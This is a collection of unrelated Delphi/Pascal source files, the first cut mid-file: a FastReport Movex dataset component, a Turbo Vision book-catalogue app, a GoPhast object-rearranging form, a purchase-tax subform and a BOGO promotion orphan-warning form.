GetMICommand write SetMICommand; property Params: TfrxMvxParams read FParams write SetParams; end; procedure frxMvxGetMIProgramNames(conMvx: TMvxConnection; List: TStrings); procedure frxMvxGetMICommandNames(dsMvx: TMvxDataset; List: TStrings); procedure frxParamsToTMvxParams(ADataset: TfrxMvxDataset; Params: TMvxParams); var MvxComponents: TfrxMvxComponents; implementation uses frxMvxRTTI, {$IFNDEF NO_EDITORS} frxMvxEditor, {$ENDIF} frxDsgnIntf, frxRes, frxUtils, frxDBSet; {$R *.res} { frxParamsToTParameters } procedure frxMvxGetMIProgramNames(conMvx: TMvxConnection; List: TStrings); begin conMvx.GetProgramList(List); end; procedure frxMvxGetMICommandNames(dsMvx: TMvxDataset; List: TStrings); begin dsMvx.GetMICommandList(dsMvx.MIProgram, List); end; procedure frxParamsToTMvxParams(ADataset: TfrxMvxDataset; Params: TMvxParams); var i: Integer; Item: TfrxMvxParamItem; begin for i := 0 to Params.Count - 1 do if ADataset.Params.IndexOf(Params[i].Name) <> -1 then begin Item := ADataset.Params[ADataset.Params.IndexOf(Params[i].Name)]; Params[i].Clear; { Bound should be True in design mode } if not (ADataset.IsLoading or ADataset.IsDesigning) then Params[i].Bound := False else Params[i].Bound := True; Params[i].DataType := Item.DataType; if Trim(Item.Expression) <> '' then if not (ADataset.IsLoading or ADataset.IsDesigning) then if ADataset.Report <> nil then begin ADataset.Report.CurObject := ADataset.Name; Item.Value := ADataset.Report.Calc(Item.Expression); end; if not VarIsEmpty(Item.Value) then begin Params[i].Bound := True; if Params[i].DataType in [ftDate, ftTime, ftDateTime] then Params[i].Value := Item.Value else Params[i].AsString := VarToStr(Item.Value); end; end; end; { TfrxDBComponents } constructor TfrxMvxComponents.Create(AOwner: TComponent); begin inherited; FOldComponents := MvxComponents; MvxComponents := Self; end; destructor TfrxMvxComponents.Destroy; begin if MvxComponents = Self then MvxComponents := FOldComponents; inherited; end; function TfrxMvxComponents.GetDescription: String; begin Result := 'Movex'; end; { TfrxMvxDatabase } constructor TfrxMvxDatabase.Create(AOwner: TComponent); begin inherited; FDatabase := TMvxConnection.Create(nil); Component := FDatabase; end; class function TfrxMvxDatabase.GetDescription: String; begin Result := frxResources.Get('obMvxDB'); end; function TfrxMvxDatabase.GetConnected: Boolean; begin Result := FDatabase.Connected; end; function TfrxMvxDatabase.GetDatabaseName: String; begin Result := FDatabase.Host; end; function TfrxMvxDatabase.GetLoginPrompt: Boolean; begin Result := FDatabase.LoginPrompt; end; procedure TfrxMvxDatabase.SetConnected(Value: Boolean); begin BeforeConnect(Value); FDatabase.Connected := Value; end; procedure TfrxMvxDatabase.SetDatabaseName(const Value: String); begin FDatabase.Host := Value; end; procedure TfrxMvxDatabase.SetLoginPrompt(Value: Boolean); begin FDatabase.LoginPrompt := Value; end; procedure TfrxMvxDatabase.SetLogin(const Login, Password: String); begin FDatabase.UserName := Login; FDatabase.Password := Password; end; { TfrxMvxDataset } constructor TfrxMvxDataset.Create(AOwner: TComponent); begin FMvxDataset := TMvxDataset.Create(Self); DataSet := FMvxDataset; FMvxDataset.OnPrepare := OnPrepare; SetDatabase(nil); FParams := TfrxMvxParams.Create; FSaveOnBeforeOpen := DataSet.BeforeOpen; DataSet.BeforeOpen := OnBeforeOpen; inherited; end; constructor TfrxMvxDataset.DesignCreate(AOwner: TComponent; Flags: Word); var i: Integer; l: TList; begin inherited; l := Report.AllObjects; for i := 0 to l.Count - 1 do if TObject(l[i]) is TfrxMvxDatabase then begin SetDatabase(TfrxMvxDatabase(l[i])); break; end; end; class function TfrxMvxDataset.GetDescription: String; begin Result := frxResources.Get('TMvxDataset'); end; procedure TfrxMvxDataset.Notification(AComponent: TComponent; Operation: TOperation); begin inherited; if (Operation = opRemove) and (AComponent = FDatabase) then SetDatabase(nil); end; procedure TfrxMvxDataset.SetDatabase(Value: TfrxMvxDatabase); begin FDatabase := Value; if Value <> nil then FMvxDataset.Connection := Value.Database else if MvxComponents <> nil then FMvxDataset.Connection := MvxComponents.DefaultDatabase else FMvxDataset.Connection := nil; DBConnected := FMvxDataset.Connection <> nil; end; procedure TfrxMvxDataset.BeforeStartReport; begin SetDatabase(FDatabase); end; procedure TfrxMvxDataset.GetFieldList(List: TStrings); var i: Integer; begin List.Clear; if FieldAliases.Count = 0 then begin try if (MIProgram <> EmptyStr) and (DataSet <> nil) then DataSet.GetFieldNames(List); except; end; end else begin for i := 0 to FieldAliases.Count - 1 do if Pos('-', FieldAliases.Names[i]) <> 1 then List.Add(FieldAliases.Values[FieldAliases.Names[i]]); end; end; function TfrxMvxDataset.GetMIProgram: String; begin Result := FMvxDataset.MIProgram; end; procedure TfrxMvxDataset.SetMIProgram(const Value: String); begin FMvxDataset.MIProgram := Value; end; function TfrxMvxDataset.GetMICommand: String; begin Result := FMvxDataset.MICommand; end; procedure TfrxMvxDataset.SetMICommand(const Value: String); begin FMvxDataset.MICommand := Value; end; destructor TfrxMvxDataset.Destroy; begin FParams.Free; inherited Destroy; end; procedure TfrxMvxDataset.UpdateParams; begin frxParamsToTMvxParams(Self, FMvxDataset.Params); end; procedure TfrxMvxDataset.SetParams(const Value: TfrxMvxParams); begin FParams.Assign(Value); end; function TfrxMvxDataset.ParamByName(const Value: String): TfrxMvxParamItem; begin Result := FParams.Find(Value); if Result = nil then raise Exception.Create('Parameter "' + Value + '" not found'); end; procedure TfrxMvxDataset.DefineProperties(Filer: TFiler); begin inherited; Filer.DefineProperty('Parameters', ReadData, WriteData, True); end; procedure TfrxMvxDataset.ReadData(Reader: TReader); begin frxReadCollection(FParams, Reader, Self); UpdateParams; end; procedure TfrxMvxDataset.WriteData(Writer: TWriter); begin frxWriteCollection(FParams, Writer, Self); end; procedure TfrxMvxDataset.OnPrepare(Sender: TObject); begin FParams.UpdateParams(MvxDataset); end; procedure TfrxMvxDataset.OnBeforeOpen(DataSet: TDataSet); begin UpdateParams; if Assigned(FSaveOnBeforeOpen) then FSaveOnBeforeOpen(DataSet); end; { TfrxMvxParamItem } procedure TfrxMvxParamItem.Assign(Source: TPersistent); begin if Source is TfrxMvxParamItem then begin FName := TfrxMvxParamItem(Source).Name; FDataType := TfrxMvxParamItem(Source).DataType; FExpression := TfrxMvxParamItem(Source).Expression; FValue := TfrxMvxParamItem(Source).Value; end; end; { TfrxMvxParams } function TfrxMvxParams.Add: TfrxMvxParamItem; begin Result := TfrxMvxParamItem(inherited Add); end; constructor TfrxMvxParams.Create; begin inherited Create(TfrxMvxParamItem); end; function TfrxMvxParams.Find(const Name: String): TfrxMvxParamItem; var i: Integer; begin i := IndexOf(Name); if i <> -1 then Result := Items[i] else Result := nil; end; function TfrxMvxParams.GetParam(Index: Integer): TfrxMvxParamItem; begin Result := TfrxMvxParamItem(inherited Items[Index]); end; function TfrxMvxParams.IndexOf(const Name: String): Integer; var i: Integer; begin Result := -1; for i := 0 to Count - 1 do if CompareText(Items[i].Name, Name) = 0 then begin Result := i; break; end; end; procedure TfrxMvxParams.UpdateParams(ADataset: TMvxDataset); var i, j: Integer; QParams: TMvxParams; NewParams: TfrxMvxParams; begin QParams := TMvxParams.Create; QParams.Assign(ADataset.Params); NewParams := TfrxMvxParams.Create; for i := 0 to QParams.Count - 1 do with NewParams.Add do begin Name := QParams[i].Name; j := IndexOf(Name); if j <> -1 then begin DataType := Items[j].DataType; Value := Items[j].Value; Expression := Items[j].Expression; end; end; Assign(NewParams); QParams.Free; NewParams.Free; end; var MvxBmp: TBitmap; initialization MvxBmp := Graphics.TBitmap.Create; MvxBmp.LoadFromResourceName(hInstance, 'FRXMVXDATASET'); frxObjects.RegisterObject1(TfrxMvxDataset, MvxBmp, '', '', 0); finalization MvxBmp.Free; frxObjects.UnRegister(TfrxMvxDataset); end.
uses app,Objects,Views,Drivers,Menus,MsgBox,TextView,Dialogs; type TMyApp = object(TApplication) BookList: PCollection; constructor Init; destructor done; virtual; procedure InitStatusLine; virtual; procedure InitMenuBar; virtual; procedure PrintBookList; procedure InsertBook; procedure SearchItem; procedure HandleEvent(var Event:TEvent); virtual; end; type PBook = ^TBook; TBook = object(TObject) Name, Avtor, Ganr, God, Izd: PString; Constructor Init(N, A, G, GD, I: String); destructor Done; virtual; constructor Load(S:TDosStream); procedure Store(S:TDosStream); end; type PMyWindow = ^TMyWindow; TMyWindow = object(TWindow) Term: PTerminal; Buff: text; constructor Init (Bounds: TRect; WinTitle: String; WindowNo: integer); end; PDialVvod = ^TDialVvod; TDialVvod = object(TDialog) constructor Init(var Bounds: TRect; WinTitle: string); end; PDialSearch = ^TDialSearch; TDialSearch = object(TDialog) constructor Init(var Bounds: TRect; WinTitle: string); end; TDataVvod = record Name,Avtor, Ganr,God,Izd: string[128]; end; TDataSearch = record VvItem: string[128]; end; const cmPrCl = 101; cmInsCl = 102; cmSrch = 103; RBook: TStreamRec =( ObjType: 151; VmtLink: Ofs(TypeOf(TBook)^); Load: @TBook.Load; Store: @TBook.Store); var MyApp: TMyApp; DataVvod: TDataVvod; DataSearch: TDataSearch; SaveFile: TDosStream; constructor TMyApp.Init; var f:text; begin Inherited Init; RegisterType(RCollection); RegisterType(RBook); assign(f,'BOOK.txt'); rewrite(f); system.close(f); MessageBox('System BIBLIOTEKA',nil,mfOkButton); BookList := new(PCollection,Init(10,5)); BookList^.Insert(New(PBook,Init('Lada','Priora','RF','Sedan','200'))); SaveFile.Init('BOOK.RES',stOpenRead); BookList := PCollection(SaveFile.Get); SaveFile.Done; if SaveFile.Status <> 0 then begin MessageBox('Error!',nil,mfOkButton); SaveFile.Init('BOOK.RES',stCreate); SaveFile.Done; end; end; procedure TMyApp.InitStatusLine; var R:TRect; begin R.Assign(0,24,80,25); StatusLine := new(PStatusLine,Init(R,NewStatusDef(0,$FFFF, NewStatusKey('~F1~Help',kbF1,cmHelp, NewStatusKey('~F10~Menu',kbF10,cmMenu, NewStatusKey('~Alt-X~Exit',kbAltX,cmQuit, nil))), nil))); end; procedure TMyApp.InitMenuBar; var R: TRect; begin R.Assign(0,0,80,1); MenuBar := New(PMenuBar,Init(R,NewMenu( NewSubMenu('File',hcNoContext,NewMenu( NewItem('Close','Alt-F3',kbAltF3,cmClose,hcNoContext, NewItem('Print List','Alt-P',KbAltP,cmPrCl,hcNoContext, NewItem('Insert Client','Alt-I',kbAltI,cmInsCl,hcNoContext, NewItem('Search Item','Alt-S',kbAltS,cmSrch,hcNoContext, NewItem('E~x~it','Alt-X',KbAltX,cmQuit,hcNoContext, nil)))))), NewSubMenu('Windows',hcNoCOntext,NewMenu( NewItem('Next','F6',KbF6,cmNext,hcNoContext, NewItem('Previous','Shift-F6',KbShiftF6,cmPrev,hcNoContext, nil))), nil)) ))); end; procedure TMyApp.HandleEvent; begin inherited HandleEvent(Event); if Event.What=evCommand then begin case Event.Command of cmPrCl: PrintBookList; cmInsCl: InsertBook; cmSrch: SearchItem; end; end; end; procedure TMyApp.InsertBook; var R: TRect; DialWindow: PDialVvod; control: word; begin R.Assign(0,1,40,17); DialWindow := New(PDialVvod,Init(R,'Insert rec')); DialWindow^.SetData(DataVvod); control := DeskTop^.ExecView(DialWindow); if Control <> cmCancel then DialWindow^.GetData(DataVvod); if control = cmOK then BookList^.Insert(new(PBook,Init(DataVvod.Name,DataVvod.Avtor,DataVvod.Ganr,DataVvod.God,DataVvod.Izd))); end; procedure TMyApp.PrintBookList; var R: TRect; Window: PMyWindow; f: text; procedure PrintBook(P: PBook); far; begin with P^ do writeln(f,Name^+' '+Avtor^+' '+Ganr^+' '+God^+' '+Izd^); end; begin assign(f,'book.txt'); rewrite(f); BookList^.ForEach(@PrintBook); close(f); R.Assign(0,1,80,22); Window := New(PMyWindow,Init(R,'List',WnNoNumber)); DeskTop^.Insert(Window); end; procedure TMyApp.SearchItem; var R: TRect; DialWindow: PDialSearch; control: word; FoundBook: PBook; s: string; function NameMatch(Book: PBook):boolean; far; begin NameMatch := pos(DataSearch.VvItem,Book^.Name^)<>0; end; begin R.Assign(0,1,40,8); DialWindow := New(PDialSearch,Init(R,'Search record')); DialWindow^.SetData(DataSearch); control := DeskTop^.ExecView(DialWindow); if control <> cmCancel then DialWindow^.GetData(DataSearch); FoundBook := BookList^.FirstThat(@NameMatch); if FoundBook = nil then MessageBox('No matches found',nil,mfOkButton) else begin with FoundBook^ do s := Name^+ ' ' +Avtor^+ ' ' +Ganr^+ ' ' +God^+ ' ' +Izd^; MessageBox('Found '+s,nil,mfOkButton); end; end; destructor TMyApp.Done; begin SaveFile.Init('BOOK.RES',stOpenWrite); if SaveFile.Status <> 0 then MessageBox('Error opening BOOK.RES',nil,mfOkButton); SaveFile.Put(BookList); SaveFile.Done; inherited done; end; Constructor TBook.Init(N, A, G, GD, I: String); begin Name:= NewStr(N); Avtor := NewStr(A); Ganr:=NewStr(G); God := NewStr(GD); Izd := NewStr(I); end; constructor TBook.Load(S:TDosStream); begin Name := S.ReadStr; Avtor := S.ReadStr; Ganr := S.ReadStr; God := S.ReadStr; Izd := S.ReadStr; end; procedure TBook.Store(S:TDosStream); begin S.Write(Name, sizeof(name)); S.Write(Avtor, sizeof (avtor)); S.Write(Ganr, sizeof(ganr)); S.Write(God, sizeof(god)); s.Write(Izd, sizeof(izd)); end; destructor TBook.Done; begin dispose(Name); dispose(Avtor); dispose(Ganr); dispose(God); dispose(Izd); end; constructor TDialSearch.Init(var Bounds: TRect; WinTitle: string); var R: TRect; B: PView; begin inherited init(Bounds,WinTitle); R.Assign(3,2,10,3); Insert(New(PLabel,Init(R,'Name',B))); R.Assign(13,2,37,3); B := New(PInputLine,Init(R,128)); Insert(B); R.Assign(3,4,13,6); Insert(New(PButton,Init(R,'OK',cmOk,bfDefault))); SelectNext(False); end; constructor TDialVvod.Init(var Bounds: TRect; WinTitle: string); var R: TRect; B: PView; begin inherited Init(Bounds,WinTitle); R.Assign(3,2,10,3); Insert(new(Plabel,Init(R,'Name',B))); R.Assign(13,2,37,3); B := New(PInputLine,Init(R,128)); Insert(B); R.Assign(3,4,18,5); Insert(new(PLabel,Init(R,'Avtor',B))); R.Assign(13,4,37,5); B := New(PInputLine,Init(R,128)); Insert(B); R.Assign(3,6,10,7); Insert(new(PLabel,init(R,'Ganr',B))); R.Assign(13,6,37,7); B := New(PInputLine,Init(R,128)); Insert(B); R.Assign(3,8,10,9); Insert(new(PLabel,Init(R,'God',B))); R.Assign(13,8,37,9); B := New(PInputLine,Init(R,128)); Insert(B); R.Assign(3,10,10,11); Insert(new(PLabel,init(R,'Izd',B))); R.Assign(13,10,37,11); B:= new(PInputLine,Init(R,128)); insert(B); R.Assign(3,13,18,15); insert(new(PButton, init(R,'OK',cmOk, bfDefault))); SelectNext(False); end; constructor TMyWindow.Init(Bounds: TRect; WinTitle: string; WindowNo: integer); var f: text; s: string; begin TWindow.Init(Bounds,WinTitle,WindowNo); GetExtent(Bounds); Bounds.Grow(-1,-1); New(Term,Init(Bounds,StandardScrollBar(sbVertical+sbHandleKeyboard),StandardScrollBar(sbHorizontal+sbHandleKeyboard),50000)); assign(f,'book.txt'); AssignDevice(Buff,Term); Insert(Term); reset(f); rewrite(buff); while not eof(f) do begin readln(f,s); writeln(buff,s); end; system.close(f); end; begin MyApp.Init; MyApp.Run; MyApp.Done; end.
{@abstract(The main purpose of @name is to define @link(TfrmRearrangeObjects) which is used to change the order of @link(TScreenObject)s. The user can also rename them in @name.)} unit frmRearrangeObjectsUnit; interface uses SysUtils, Types, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Grids, frmCustomGoPhastUnit, Buttons, UndoItemsScreenObjects; type {@abstract(@name is used to change the order of @link(TScreenObject)s. The user can also rename them in @name.)} TfrmRearrangeObjects = class(TfrmCustomGoPhast) // Clicking @name closes the @classname without doing anything. btnCancel: TBitBtn; // Clicking @name displays help on the @classname. btnHelp: TBitBtn; // See @link(btnOKClick). btnOK: TBitBtn; // @name displays text that tells how to use @classname. lblInstructions: TLabel; // @name holds the buttons at the bottom of @classname. pnlBottom: TPanel; // @name holds @link(lblInstructions) at the top of @classname. pnlInstructions: TPanel; // @name lists the @link(TScreenObject)s. sgObjects: TStringGrid; // @name is used to determine whether, all, // the visible, or the selected objects are listed. rgShow: TRadioGroup; // @name calls @link(SetData). procedure btnOKClick(Sender: TObject); // @name initializes @classname and calls @link(GetData). procedure FormCreate(Sender: TObject); override; // @name draws the selected @link(TScreenObject)s with a bold font. procedure sgObjectsDrawCell(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState); // @name changes the cursor to give a visual // indication that a row is being dragged. procedure sgObjectsMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); // @name changes the cursor to give a visual // indication that a row is being dragged. procedure sgObjectsMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); // @name changes the cursor to give a visual // indication that a row is no longer being dragged. procedure sgObjectsMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); // This prevents the user from renaming deleted @link(TScreenObject)s. procedure sgObjectsSelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); procedure rgShowClick(Sender: TObject); procedure sgObjectsMouseWheelDown(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); procedure sgObjectsMouseWheelUp(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); private // @name is set to true in @link(sgObjectsMouseDown) to indicate that the // user is dragging a row to a new position. FDraggingRows: boolean; // @name retrieves the @link(TScreenObject)s and displays them in // @link(sgObjects). If a @link(TScreenObject) has been deleted, // the height of its cell will be zero. procedure GetData; // If the cursor is over the left hand column, the user can // drag the rows to rearrange the objects. Use @link(crHandGrab) // to indicate that the rows are being rearranged or @link(crHandFlat) // to indicate that they can be moved. Otherwise, just use // the arrow cursor. procedure SetCursor(const ACol, ARow: integer); // @name sets the new order of the @link(TScreenObject)s. The user // can also rename @link(TScreenObject)s. procedure SetData; { Private declarations } public { Public declarations } end; implementation uses frmGoPhastUnit, ScreenObjectUnit, CursorsFoiledAgain; resourcestring StrObjects = 'Objects'; {$R *.dfm} procedure TfrmRearrangeObjects.FormCreate(Sender: TObject); begin inherited; sgObjects.ColWidths[1] := 300; sgObjects.Cells[1, 0] := StrObjects; lblInstructions.Width := pnlInstructions.Width - 2*lblInstructions.Left; GetData; end; procedure TfrmRearrangeObjects.GetData; var Index: integer; AScreenObject: TScreenObject; ShowObject: Boolean; begin // Set the size of the table to a large enough size. sgObjects.RowCount := frmGoPhast.PhastModel.ScreenObjectCount + 1; for Index := 0 to frmGoPhast.PhastModel.ScreenObjectCount - 1 do begin // get each screen object. AScreenObject := frmGoPhast.PhastModel.ScreenObjects[Index]; // Display the name of each screen object but hide the names of // deleted ones. ShowObject := True; if AScreenObject.Deleted then begin ShowObject := False; end; case rgShow.ItemIndex of 0: begin // Show all // do nothing end; 1: begin // Show visible objects if not AScreenObject.Visible then begin ShowObject := False; end; end; 2: begin // Show selected objects if not AScreenObject.Selected then begin ShowObject := False; end; end; end; if ShowObject then begin sgObjects.Cells[1, Index + 1] := AScreenObject.Name; sgObjects.RowHeights[Index + 1] := sgObjects.DefaultRowHeight; end else begin sgObjects.Cells[1, Index + 1] := '(' + AScreenObject.Name + ')'; sgObjects.RowHeights[Index + 1] := 0; end; // Store the object so that it gets moved when the row gets moved. sgObjects.Objects[1, Index + 1] := AScreenObject; end; end; procedure TfrmRearrangeObjects.rgShowClick(Sender: TObject); begin inherited; GetData; end; procedure TfrmRearrangeObjects.SetData; var Index: integer; AScreenObject: TScreenObject; Undo: TUndoRearrangeScreenObjects; begin // Create an object that will allow the action to be undone. Undo := TUndoRearrangeScreenObjects.Create; try // store the screen objects in the Undo object. for Index := 1 to sgObjects.RowCount - 1 do begin AScreenObject := sgObjects.Objects[1, Index] as TScreenObject; Undo.FNewList.Add(AScreenObject); if AScreenObject.Deleted then begin Undo.FNewNames.Add(AScreenObject.Name); end else begin // allow the users to rename objects. Undo.FNewNames.Add(TScreenObject.ValidName(sgObjects.Cells[1, Index])); end; end; // Record the selected objects. Undo.SetPostSelection; except Undo.Free; raise; end; // Perform the action. frmGoPhast.UndoStack.Submit(Undo); end; procedure TfrmRearrangeObjects.btnOKClick(Sender: TObject); begin // Rearrange the objects. SetData; end; procedure TfrmRearrangeObjects.sgObjectsSelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); var AScreenObject: TScreenObject; begin inherited; // This prevents users from renaming deleted screen objects. // This may not be required because the heights to cells // with deleted screen objects is 0; The user never sees them. AScreenObject := sgObjects.Objects[ACol, ARow] as TScreenObject; CanSelect := not AScreenObject.Deleted; end; procedure TfrmRearrangeObjects.sgObjectsMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); var ACol, ARow: Longint; begin inherited; // rearranging the cells is handled by the control so it // doesn't need to be done here. However, set the cursor // to give a visual indication of what is happening. sgObjects.MouseToCell(X, Y, ACol, ARow); SetCursor(ACol, ARow); end; procedure TfrmRearrangeObjects.SetCursor(const ACol, ARow: integer); begin // If the cursor is over the left hand column, the user can // drag the rows to rearrange the objects. Use crHandGrab // to indicate that the rows are being rearranged or crHandFlat // to indicate that they can be moved. Otherwise, just use // the arrow cursor. if (ARow > 0) and (ACol = 0) then begin if FDraggingRows then begin sgObjects.Cursor := crHandGrab; end else begin sgObjects.Cursor := crHandFlat; end; end else begin sgObjects.Cursor := crArrow; end; end; procedure TfrmRearrangeObjects.sgObjectsMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var ACol, ARow: Longint; NewSelection: TGridRect; begin inherited; // rearranging the cells is handled by the control so it // doesn't need to be done here. However, set the cursor // to give a visual indication of what is happening. sgObjects.MouseToCell(X, Y, ACol, ARow); FDraggingRows := (ARow > 0) and (ACol = 0); // This keeps the selected cell from being shown as blank. if FDraggingRows then begin NewSelection.Left := -1; NewSelection.Right := -1; NewSelection.Top := -1; NewSelection.Bottom := -1; sgObjects.Selection := NewSelection; end; SetCursor(ACol, ARow); end; procedure TfrmRearrangeObjects.sgObjectsMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var ACol, ARow: Longint; begin inherited; // rearranging the cells is handled by the control so it // doesn't need to be done here. However, set the cursor // to give a visual indication of what is happening. sgObjects.MouseToCell(X, Y, ACol, ARow); FDraggingRows := False; SetCursor(ACol, ARow); end; procedure TfrmRearrangeObjects.sgObjectsMouseWheelDown(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); begin inherited; if (sgObjects.Col < 0) or (sgObjects.Row < 0) then begin Handled := True; end; end; procedure TfrmRearrangeObjects.sgObjectsMouseWheelUp(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); begin inherited; if (sgObjects.Col < 0) or (sgObjects.Row < 0) then begin Handled := True; end; end; procedure TfrmRearrangeObjects.sgObjectsDrawCell(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState); var AScreenObject: TScreenObject; AFont: TFont; begin inherited; if (ACol = 1) and (ARow > 0) then begin AScreenObject := sgObjects.Objects[ACol, ARow] as TScreenObject; AFont := TFont.Create; try AFont.Assign(sgObjects.Canvas.Font); if AScreenObject.Selected then begin AFont.Style := sgObjects.Canvas.Font.Style + [fsBold]; end else begin AFont.Style := sgObjects.Canvas.Font.Style - [fsBold]; end; sgObjects.Canvas.Font.Assign(AFont); finally AFont.Free; end; sgObjects.Canvas.FillRect(Rect); sgObjects.Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top + 2, sgObjects.Cells[ACol, ARow]); end; end; end.
unit uSubCalcPurchaseTax; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, uParentSub, siComp, siLangRT, Grids, DBGrids, SMDBGrid, StdCtrls, DB, ADODB; type TSubCalcPurchaseTax = class(TParentSub) quTaxCat: TADOQuery; quTaxCatIDTaxCategory: TIntegerField; quTaxCatTaxCategory: TStringField; quTaxCatTax: TBCDField; quTaxCatDebit: TBooleanField; dsTaxCat: TDataSource; quTaxCatFormula: TStringField; private { Private declarations } fIDTax : Integer; fCost, fFreight, fOther, fTax : Currency; procedure CalcFunction; protected procedure AfterSetParam; override; public { Public declarations } procedure DataSetRefresh; procedure DataSetOpen; override; procedure DataSetClose; override; end; implementation uses uDM, uParamFunctions, CalcExpress; {$R *.dfm} { TSubCalcPurchaseTax } procedure TSubCalcPurchaseTax.AfterSetParam; begin inherited; fIDTax := StrToIntDef(ParseParam(FParam, 'IDTaxCategory'),0); fCost := StrToCurrDef(ParseParam(FParam, 'Cost'),0); fFreight := StrToCurrDef(ParseParam(FParam, 'Freght'),0); fOther := StrToCurrDef(ParseParam(FParam, 'Other'),0); if fIDTax = 0 then Exit; DataSetRefresh; end; procedure TSubCalcPurchaseTax.CalcFunction; var args : array [0..100] of extended; // array of arguments - variable values i : integer; begin { if (Vars.Lines.Count = Values.Lines.Count) then begin // set expression to calculate CalcExpress1.Formula := ExprEdt.Text; // set used variables list CalcExpress1.Variables:= Vars.Lines; // prepare arguments // SetLength(args,Values.Lines.Count); for i:=0 to Values.Lines.Count-1 do args[i] := StrToFloat(Values.Lines[i]); // calculate expression ShowMessage(CalcExpress1.Formula+'='+ FloatToStr(CalcExpress1.calc(args))); end else MessageDlg('Variables and Variable values lists should have the same lines quantity.', mtInformation, [mbOk], 0); } end; procedure TSubCalcPurchaseTax.DataSetClose; begin inherited; with quTaxCat do if Active then Close; end; procedure TSubCalcPurchaseTax.DataSetOpen; begin inherited; with quTaxCat do if not Active then begin Parameters.ParamByName('IDTaxCategory').Value := fIDTax; Open; end; end; procedure TSubCalcPurchaseTax.DataSetRefresh; begin DataSetClose; DataSetOpen; end; initialization RegisterClass(TSubCalcPurchaseTax); end.
unit BogoWarningViewOrphans; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData, cxEdit, DB, cxDBData, cxGridLevel, cxClasses, cxControls, cxGridCustomView, cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid, ExtCtrls, StdCtrls, CheckLst, contnrs, BogoPromoCls; type TvwBogoWarningOrphan = class(TForm) pnlOrphan: TPanel; GroupBox1: TGroupBox; GroupBox2: TGroupBox; Panel1: TPanel; btnSelect: TButton; GroupBox3: TGroupBox; Splitter: TSplitter; cxGridItemsSale: TcxGrid; cxGridDBTableViewItemsSale: TcxGridDBTableView; cxGridLevelItemsSale: TcxGridLevel; cxGridOrphan: TcxGrid; cxGridDBTableViewOrphan: TcxGridDBTableView; cxGridLevelOrphan: TcxGridLevel; clbOrphans: TCheckListBox; btnOrphansToDelete: TButton; dsSaleFromCashRegister: TDataSource; dsOrphanSale: TDataSource; cxGridDBTableViewItemsSaleDBColumn2: TcxGridDBColumn; cxGridDBTableViewItemsSaleDBColumn3: TcxGridDBColumn; cxGridDBTableViewItemsSaleDBColumn4: TcxGridDBColumn; cxGridDBTableViewItemsSaleDBColumn5: TcxGridDBColumn; cxGridDBTableViewOrphanDBColumn1: TcxGridDBColumn; cxGridDBTableViewOrphanDBColumn2: TcxGridDBColumn; cxGridDBTableViewOrphanDBColumn3: TcxGridDBColumn; cxGridDBTableViewOrphanDBColumn4: TcxGridDBColumn; cxGridDBTableViewOrphanDBColumn5: TcxGridDBColumn; cxGridDBTableViewItemsSaleDBColumn1: TcxGridDBColumn; cxGridDBTableViewItemsSaleDBColumn6: TcxGridDBColumn; cxGridDBTableViewItemsSaleDBColumn7: TcxGridDBColumn; procedure btnOrphansToDeleteClick(Sender: TObject); function getOrphanByIdMov(idMov: integer): TBogoPromoDistribution; procedure btnSelectClick(Sender: TObject); procedure markOrphansToDelete(); private { Private declarations } FOrphanList: TObjectList; public { Public declarations } function start(saleDataset: TDataset; orphanFromSale: TDataset; orphanList: TObjectList): boolean; end; var vwBogoWarningOrphan: TvwBogoWarningOrphan; implementation {$R *.dfm} procedure TvwBogoWarningOrphan.btnOrphansToDeleteClick(Sender: TObject); begin MarkOrphansToDelete(); close; end; function TvwBogoWarningOrphan.getOrphanByIdMov( idMov: integer): TBogoPromoDistribution; var i: integer; begin for i := 0 to FOrphanList.count - 1 do begin if ( TBogoPromoDistribution(FOrphanList.Items[i]).IdPreInventory = idMov ) then begin TBogoPromoDistribution(FOrphanList.Items[i]).ToDelete := true; result := TBogoPromoDistribution(FOrphanList.Items[i]); break; end; end; end; function TvwBogoWarningOrphan.start(saleDataset: TDataset; orphanFromSale: TDataset; orphanList: TObjectList): boolean; begin dsSaleFromCashRegister.DataSet := saleDataset; dsOrphanSale.dataset := orphanFromSale; FOrphanList := orphanList; result := ShowModal = mrOK; end; procedure TvwBogoWarningOrphan.btnSelectClick(Sender: TObject); var index: integer; begin clbOrphans.Items.AddObject((dsOrphanSale.dataset.fieldByName('IdPreinventoryMov').AsString + ' ' + dsOrphanSale.dataset.fieldByName('Model').AsString), getOrphanByIdMov(dsOrphanSale.dataset.fieldByName('IdPreInventoryMov').AsInteger)); index := clbOrphans.Items.IndexOf(dsOrphanSale.dataset.fieldByName('IdPreinventoryMov').AsString); if ( index > -1 ) then begin clbOrphans.Checked[index] := true; end; end; procedure TvwBogoWarningOrphan.MarkOrphansToDelete; var i: integer; begin for i := 0 to clbOrphans.Count - 1 do begin if ( not clbOrphans.Checked[i] ) then begin TBogoPromoDistribution(clbOrphans.Items[i]).ToDelete := false; end; end; end; end.
